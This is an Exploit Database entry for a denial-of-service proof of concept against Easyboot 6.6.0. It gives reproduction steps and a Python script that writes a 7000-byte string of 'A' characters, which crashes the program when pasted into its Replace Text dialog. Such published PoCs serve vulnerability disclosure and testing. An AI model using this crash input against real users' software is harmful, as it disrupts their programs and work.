



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

Easyboot 6.6.0 - Denial Of Service (PoC)

EDB-ID:

45241

CVE:

N/A

EDB Verified: 

Author:

[GIONATHAN REALE](#)

Type:

[DOS](#)

Exploit:   / 

Platform:

[WINDOWS_X86](#)

Date:

2018-08-22

Vulnerable App: 





EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

```
# Exploit Title: Easyboot 6.6.0 - Denial Of Service (PoC)
# Author: Gionathan "John" Reale
# Discovey Date: 2018-08-22
# Homepage: http://www.ezbsystems.com/
# Software Link: http://www.ezbsystems.com/easyboot/download.htm
# Tested Version: 6.6.0
# Tested on OS: Windows 7 32-bit
# Steps to Reproduce: Run the python exploit script, it will create a new
# file with the name "exploit.txt" just copy the text inside "exploit.txt"
# and start the program. In the new window click "File" > "Tools" >
"Replace Text...". Now paste the content of
# "exploit.txt" into all three fields in the new window. Click "Replace"
and you will see a crash.
```

```
#!/usr/bin/python
```

```
buffer = "A" * 7000
```

```
payload = buffer
```

```
try:
```

```
    f=open("exploit.txt","w")
```

```
    print "[+] Creating %s bytes evil payload.." %len(payload)
```

```
    f.write(payload)
```

```
    f.close()
```

```
    print "[+] File created!"
```

```
except:
```

```
    print "File cannot be created"
```

Tags:

Advisory/Source: [Link](#)

Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)[PRIVACY](#)[ABOUT US](#)[FAQ](#)[COOKIES](#)

[OffSec Services Limited](#) 2026. All rights reserved.